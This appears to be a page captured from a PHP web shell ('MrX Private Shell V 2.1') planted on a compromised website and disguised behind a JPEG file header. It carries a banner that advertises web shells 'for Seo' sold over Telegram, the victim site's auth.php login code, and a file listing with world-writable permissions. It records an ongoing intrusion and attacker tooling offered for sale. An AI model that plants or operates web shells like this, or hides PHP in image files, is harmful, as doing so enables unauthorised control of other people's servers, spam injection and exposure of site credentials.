����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// auth.php
require_once 'config.php';
class Authentication
{
public static function login($username, $password)
{
if ($username === ADMIN_USERNAME && password_verify($password, ADMIN_PASSWORD_HASH)) {
$_SESSION['admin_logged_in'] = true;
$_SESSION['login_time'] = time();
return true;
}
return false;
}
public static function logout()
{
$_SESSION = array();
session_destroy();
header('Location: login.php');
exit;
}
public static function isLoggedIn()
{
return isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true;
}
public static function requireAuth()
{
if (!self::isLoggedIn()) {
header('Location: login.php');
exit;
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .well-known | Folder | 0777 |
|
|
| cache | Folder | 0777 |
|
|
| content | Folder | 0777 |
|
|
| content1 | Folder | 0777 |
|
|
| image | Folder | 0777 |
|
|
| .ftpquota | File | 12 B | 0666 |
|
| _ | File | 3.55 KB | 0644 |
|
| android-chrome-192x192.png | File | 78.08 KB | 0666 |
|
| android-chrome-512x512.png | File | 378.8 KB | 0666 |
|
| apple-touch-icon.png | File | 69.97 KB | 0666 |
|
| arealist.xml | File | 13.18 KB | 0666 |
|
| auth.php | File | 884 B | 0666 |
|
| cache.php | File | 948 B | 0666 |
|
| delhigal.zip | File | 6.82 MB | 0644 |
|
| error_logs.php | File | 10.43 KB | 0644 |
|
| functions.php | File | 21.38 KB | 0666 |
|
| robots.txt | File | 71 B | 0666 |
|
| template-footer.php | File | 6.32 KB | 0666 |
|
| template-header.php | File | 38.08 KB | 0666 |
|
| test.php | File | 151 B | 0666 |
|